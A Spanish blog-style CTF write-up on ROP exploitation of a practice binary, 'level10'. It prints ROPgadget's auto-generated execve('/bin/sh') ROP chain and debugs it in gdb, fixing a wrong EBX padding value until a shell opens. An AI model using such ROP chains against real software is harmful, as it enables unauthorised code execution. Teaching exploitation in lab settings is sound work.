Como se puede apreciar tras compilar y ejecutar, la herramienta trae unas cuantas opciones interesantes para la explotación con ROP. Entre ellas, la más interesante es la de búsqueda de gadgets (-g), que además de buscar gadgets, utiliza un método auto-roper que intenta crear un payload automáticamente con los gadgets encontrados ;D

$ ROPgadget -g -file level10
Gadgets information
============================================================
0x0804814e: jmp dword ptr [ebx]
0x08048162: add eax, 0xc95b5800 ; ret
0x08048204: add esp, 0x14 ; pop ebx ; pop ebp ; ret
0x08048207: pop ebx ; pop ebp ; ret
0x08048208: pop ebp ; ret
0x0804824c: call eax
...
Unique gadgets found: 132

Possible combinations.
============================================================

[+] Combo 1 was found - Possible with the following gadgets. (execve)
 - 0x08048260 => int $0x80
 - 0x0804825e => inc %eax ; ret
 - 0x0809951f => xor %eax,%eax ; ret
 - 0x080788c1 => mov %eax,(%edx) ; ret
 - 0x080a1769 => pop %eax ; ret
 - 0x08048254 => pop %ebx ; ret
 - 0x08052341 => pop %edx ; pop %ecx ; pop %ebx ; ret
 - 0x08052318 => pop %edx ; ret
 - 0x080c6001 => .data Addr
 Payload
  # execve /bin/sh generated by RopGadget v3.4.2
  p += pack("<I", 0x08052318) # pop %edx ; ret
  p += pack("<I", 0x080c6001) # @ .data
  p += pack("<I", 0x080a1769) # pop %eax ; ret
  p += "/bin"
  p += pack("<I", 0x080788c1) # mov %eax,(%edx) ; ret
  p += pack("<I", 0x08052318) # pop %edx ; ret
  p += pack("<I", 0x080c6005) # @ .data + 4
  p += pack("<I", 0x080a1769) # pop %eax ; ret
  p += "//sh"
  p += pack("<I", 0x080788c1) # mov %eax,(%edx) ; ret
  p += pack("<I", 0x08052318) # pop %edx ; ret
  p += pack("<I", 0x080c6009) # @ .data + 8
  p += pack("<I", 0x0809951f) # xor %eax,%eax ; ret
  p += pack("<I", 0x080788c1) # mov %eax,(%edx) ; ret
  p += pack("<I", 0x08052341) # pop %edx ; pop %ecx ; pop %ebx ; ret
  p += pack("<I", 0x42424242) # padding
  p += pack("<I", 0x42424242) # padding
  p += pack("<I", 0x080c6001) # @ .data
  p += pack("<I", 0x08052341) # pop %edx ; pop %ecx ; pop %ebx ; ret
  p += pack("<I", 0x42424242) # padding
  p += pack("<I", 0x080c6009) # @ .data + 8
  p += pack("<I", 0x42424242) # padding
  p += pack("<I", 0x08052318) # pop %edx ; ret
  p += pack("<I", 0x080c6009) # @ .data + 8
  p += pack("<I", 0x0809951f) # xor %eax,%eax ; ret
  p += pack("<I", 0x0804825e) # inc %eax ; ret
  p += pack("<I", 0x0804825e) # inc %eax ; ret
  p += pack("<I", 0x0804825e) # inc %eax ; ret
  p += pack("<I", 0x0804825e) # inc %eax ; ret
  p += pack("<I", 0x0804825e) # inc %eax ; ret
  p += pack("<I", 0x0804825e) # inc %eax ; ret
  p += pack("<I", 0x0804825e) # inc %eax ; ret
  p += pack("<I", 0x0804825e) # inc %eax ; ret
  p += pack("<I", 0x0804825e) # inc %eax ; ret
  p += pack("<I", 0x0804825e) # inc %eax ; ret
  p += pack("<I", 0x0804825e) # inc %eax ; ret
  p += pack("<I", 0x08048260) # int $0x80
 EOF Payload

Como vemos, a partir de los gadgets obtenidos, ha sido capaz de encadenarlos de forma automática para construir un payload que realiza una llamada execve("/bin/sh"). Ahora toca probarlo...

$ ./level10 "$(python exploit_ropgadget.py)"
ROP me if you can :]
-> AAAAAAAAAAAA  `
                 i 
/bin� `
      i 
//sh� # `
         �     �ABBBBBBBB `
                          ABBBB `
                                BBBB #  `
                                         �     ^�^�^�^�^�^�^�^�^�^�^�`� 
Violación de segmento

Vaya, violación de segmento, ¡algo falla!

# Breakpoint en el int 0x80
(gdb) b *0x08048260
Breakpoint 1 at 0x8048260

# Ejecutamos
(gdb) r "$(python exploit_ropgadget.py)"
Starting program: /home/dani/ndh-ropme/level10 "$(python exploit_ropgadget.py)"
ROP me if you can :]
-> AAAAAAAAAAAA  `
                 i 
/bin� `
      i 
//sh� # `
         �     �ABBBBBBBB `
                          ABBBB `
                                BBBB #  `
                                         �     ^�^�^�^�^�^�^�^�^�^�^�`� 

Breakpoint 1, 0x08048260 in rop ()

# Instrucción actual
(gdb) x/i $eip
=> 0x8048260 <rop+16>: int    $0x80

# Registros que va a usar execve()
(gdb) i r eax ebx ecx edx
eax            0xb 11
ebx            0x42424242 1111638594
ecx            0x80c6009 135028745
edx            0x80c6009 135028745

# ECX y EDX apuntan al null byte de .data
(gdb) x/x 0x80c6009
0x80c6009 <_dl_tls_static_size+1>: 0x00000000

(gdb) x/s 0x80c6009-8
0x80c6001 <data_start+1>:  "/bin//sh"
(gdb) 

Tras depurar un poco, vemos que falla porque registro EBX tiene de valor 0x42424242, que es un padding mal añadido por ROPgadget, y en vez de eso debería tener la dirección de la sección .data (0x080c6001), que es donde se encuentra la cadena /bin/sh. Así que buscamos el último gadget que da valor a EBX.

p += pack("<I", 0x08052341) # pop %edx ; pop %ecx ; pop %ebx ; ret
p += pack("<I", 0x42424242) # padding
p += pack("<I", 0x080c6009) # @ .data + 8
p += pack("<I", 0x42424242) # padding

Y tal cual, el último padding (0x42424242) el es valor que popea EBX. Lo cambiamos por 0x080c6001 y probamos.

$ ./level10 "$(python exploit_ropgadget.py)"
ROP me if you can :]
-> AAAAAAAAAAAA  `
                 i 
/bin� `
      i 
//sh� # `
         �     �ABBBBBBBB `
                          ABBBB `
                                 `
                                  #     `
                                         �     ^�^�^�^�^�^�^�^�^�^�^�`� 
$ id
uid=1000(dani) gid=1000(dani) groups=1000(dani),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)

¡Solucionado! Tenemos un shell, así de fácil :-)

Es interesante ver cómo el payload ROP que nos ha creado ROPGadget utiliza la sección no randomizable .data para almacenar la cadena "/bin/sh", pero bueno, eso ya os lo dejo para vosotros :-)

Para la siguiente entrada intentaré explicar cómo explotar con ROP otro binario, pero compilado de forma dinámica y sin instrucciones de ayuda como teníamos en éste, empleando para ello la técnica GOT dereferencing.

Y esto ha sido todo. Un saludo!